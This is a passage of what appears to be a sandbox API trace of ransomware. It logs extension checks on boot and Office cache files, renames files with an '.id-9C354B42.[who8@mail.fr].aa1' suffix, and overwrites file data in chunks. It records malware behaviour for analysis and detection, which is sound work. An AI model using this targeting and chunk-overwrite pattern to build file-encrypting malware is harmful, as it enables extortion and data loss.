(lpString=".jpg") returned 4 [0196.642] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.642] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.643] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.643] lstrlenW (lpString=".doc") returned 4 [0196.643] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.643] lstrlenW (lpString=".docx") returned 5 [0196.643] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.643] lstrlenW (lpString=".pdf") returned 4 [0196.643] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.643] lstrlenW (lpString=".xls") returned 4 [0196.643] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.643] lstrlenW (lpString=".xlsx") returned 5 [0196.643] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.643] lstrlenW (lpString=".ppt") returned 4 [0196.644] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.644] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.644] lstrlenW (lpString=".zip") returned 4 [0196.644] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.644] lstrlenW (lpString=".rar") returned 4 [0196.644] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.644] lstrlenW (lpString=".bz2") returned 4 [0196.644] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.644] lstrlenW (lpString=".7z") returned 3 [0196.644] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.644] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.644] lstrlenW (lpString=".dbf") returned 4 [0196.644] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.644] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.644] lstrlenW (lpString=".1cd") returned 4 [0196.645] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.645] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0196.645] lstrlenW (lpString=".jpg") returned 4 [0196.645] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.645] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.645] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.645] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.646] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=89664) returned 1 [0196.646] CloseHandle (hObject=0x154) returned 1 [0196.646] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0196.646] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.646] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.646] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.646] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.646] lstrlenW (lpString=".doc") returned 4 [0196.646] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.646] lstrlenW (lpString=".docx") returned 5 [0196.646] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.646] lstrlenW (lpString=".pdf") returned 4 [0196.647] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.647] lstrlenW (lpString=".xls") returned 4 [0196.647] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.647] lstrlenW (lpString=".xlsx") returned 5 [0196.647] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.647] lstrlenW (lpString=".ppt") returned 4 [0196.647] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.647] lstrlenW (lpString=".zip") returned 4 [0196.647] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.647] lstrlenW (lpString=".rar") returned 4 [0196.647] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.647] lstrlenW (lpString=".bz2") returned 4 [0196.647] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.647] lstrlenW (lpString=".7z") returned 3 [0196.647] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.647] lstrlenW (lpString=".dbf") returned 4 [0196.647] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.647] lstrlenW (lpString=".1cd") returned 4 [0196.647] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.647] lstrlenW (lpString=".jpg") returned 4 [0196.647] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.647] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.648] lstrlenW (lpString=".doc") returned 4 [0196.648] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.648] lstrlenW (lpString=".docx") returned 5 [0196.648] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.648] lstrlenW (lpString=".pdf") returned 4 [0196.648] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.648] lstrlenW (lpString=".xls") returned 4 [0196.648] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.648] lstrlenW (lpString=".xlsx") returned 5 [0196.648] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.648] lstrlenW (lpString=".ppt") returned 4 [0196.648] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.648] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.648] lstrlenW (lpString=".zip") returned 4 [0196.648] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.648] lstrlenW (lpString=".rar") returned 4 [0196.648] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.648] lstrlenW (lpString=".bz2") returned 4 [0196.648] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.648] lstrlenW (lpString=".7z") returned 3 [0196.648] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.648] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.648] lstrlenW (lpString=".dbf") returned 4 [0196.648] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.648] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.648] lstrlenW (lpString=".1cd") returned 4 [0196.648] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.648] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0196.648] lstrlenW (lpString=".jpg") returned 4 [0196.649] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.649] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0196.649] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0196.649] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0196.649] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=90192) returned 1 [0196.649] CloseHandle (hObject=0x154) returned 1 [0196.649] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0196.649] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.649] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.649] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.650] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.650] lstrlenW (lpString=".doc") returned 4 [0196.650] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0196.650] lstrlenW (lpString=".docx") returned 5 [0196.650] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0196.650] lstrlenW (lpString=".pdf") returned 4 [0196.650] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0196.650] lstrlenW (lpString=".xls") returned 4 [0196.650] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0196.650] lstrlenW (lpString=".xlsx") returned 5 [0196.650] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0196.650] lstrlenW (lpString=".ppt") returned 4 [0196.650] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0196.650] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.650] lstrlenW (lpString=".zip") returned 4 [0196.651] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0196.651] lstrlenW (lpString=".rar") returned 4 [0196.651] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0196.651] lstrlenW (lpString=".bz2") returned 4 [0196.651] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.651] lstrlenW (lpString=".7z") returned 3 [0196.651] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.651] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.651] lstrlenW (lpString=".dbf") returned 4 [0196.651] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.652] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=87616) returned 1 [0196.652] CloseHandle (hObject=0x154) returned 1 [0196.652] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0196.652] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.652] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.653] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=87104) returned 1 [0196.653] CloseHandle (hObject=0x154) returned 1 [0196.653] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0196.653] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.653] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=70720) returned 1 [0196.654] CloseHandle (hObject=0x154) returned 1 [0196.654] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0196.654] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.654] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=70224) returned 1 [0196.655] CloseHandle (hObject=0x154) returned 1 [0196.655] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0196.655] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.655] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.655] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=70208) returned 1 [0196.655] CloseHandle (hObject=0x154) returned 1 [0196.655] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0196.655] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.655] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.719] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=383786) returned 1 [0196.719] CloseHandle (hObject=0x170) returned 1 [0196.719] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0196.719] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\bootmgr.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.719] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0196.719] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.784] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0197.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0197.784] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0197.784] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0197.784] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.627] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.627] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.782] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0198.782] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.782] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.868] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.868] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0199.258] SetEndOfFile (hFile=0x170) returned 1 [0199.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f63088 [0199.258] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.258] WriteFile (in: hFile=0x170, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.260] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.260] WriteFile (in: hFile=0x170, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.268] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.268] WriteFile (in: hFile=0x170, lpBuffer=0x3f63088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f63088*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f63088 | out: hHeap=0x4f0000) returned 1 [0199.271] CloseHandle (hObject=0x170) returned 1 [0199.983] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.983] lstrlenW (lpString=".doc") returned 4 [0199.983] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0199.983] lstrlenW (lpString=".docx") returned 5 [0199.983] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0199.983] lstrlenW (lpString=".pdf") returned 4 [0199.983] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0199.984] lstrlenW (lpString=".xls") returned 4 [0199.984] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0199.984] lstrlenW (lpString=".xlsx") returned 5 [0199.984] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0199.984] lstrlenW (lpString=".ppt") returned 4 [0199.984] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString=".zip") returned 4 [0199.984] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0199.984] lstrlenW (lpString=".rar") returned 4 [0199.984] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0199.984] lstrlenW (lpString=".bz2") returned 4 [0199.984] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0199.984] lstrlenW (lpString=".7z") returned 3 [0199.984] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString=".dbf") returned 4 [0199.984] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString=".1cd") returned 4 [0199.984] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString=".jpg") returned 4 [0199.984] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.984] lstrlenW (lpString=".doc") returned 4 [0199.985] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0199.985] lstrlenW (lpString=".docx") returned 5 [0199.985] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0199.985] lstrlenW (lpString=".pdf") returned 4 [0199.985] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0199.985] lstrlenW (lpString=".xls") returned 4 [0199.985] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0199.985] lstrlenW (lpString=".xlsx") returned 5 [0199.985] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0199.985] lstrlenW (lpString=".ppt") returned 4 [0199.985] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0199.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.985] lstrlenW (lpString=".zip") returned 4 [0199.985] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0199.985] lstrlenW (lpString=".rar") returned 4 [0199.985] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0199.985] lstrlenW (lpString=".bz2") returned 4 [0199.985] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0199.985] lstrlenW (lpString=".7z") returned 3 [0199.985] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0199.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.985] lstrlenW (lpString=".dbf") returned 4 [0199.985] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0199.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.985] lstrlenW (lpString=".1cd") returned 4 [0199.985] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0199.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0199.985] lstrlenW (lpString=".jpg") returned 4 [0199.985] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0199.986] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0199.986] lstrlenW (lpString="PubLR.cab") returned 9 [0199.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0199.986] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=9958388) returned 1 [0199.986] CloseHandle (hObject=0x170) returned 1 [0199.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0199.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.986] MoveFileW (lpExistingFileName="C:\\MSOCache\\All 